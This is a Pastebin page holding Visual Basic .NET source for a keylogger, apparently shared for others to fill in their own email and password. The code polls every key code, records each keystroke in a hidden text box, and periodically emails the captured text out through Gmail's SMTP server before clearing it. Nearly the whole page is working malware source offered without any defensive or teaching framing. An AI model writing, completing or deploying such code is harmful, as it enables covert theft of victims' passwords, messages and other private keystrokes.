Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- ''NicholasGideon
- Imports System.Net.Mail
- Public Class Form1
- Dim result As Integer
- Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Int32) As Int16
- Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
- For i = 1 To 255
- result = 0
- result = GetAsyncKeyState(i)
- If result = -32767 Then
- RichTextBox1.Text = RichTextBox1.Text + Chr(i)
- End If
- Next i
- End Sub
- Private Sub Form1_Load(sender As Object, e As EventArgs) Handles MyBase.Load
- Timer1.Start()
- End Sub
- Private Sub Timer2_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer2.Tick
- Dim MyMailMessage As New MailMessage()
- MyMailMessage.From = New MailAddress("EMAIL KAMU")
- MyMailMessage.To.Add("EMAIL KAMU")
- MyMailMessage.Subject = ("Keylogger")
- MyMailMessage.Body = RichTextBox1.Text
- Dim SMTPServer As New SmtpClient("smtp.gmail.com")
- SMTPServer.Port = 587
- SMTPServer.Credentials = New System.Net.NetworkCredential("EMAIL KAMU", "PASSWORD EMAIL")
- SMTPServer.EnableSsl = True
- SMTPServer.Send(MyMailMessage)
- RichTextBox1.Text = ("")
- End Sub
- End Class
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement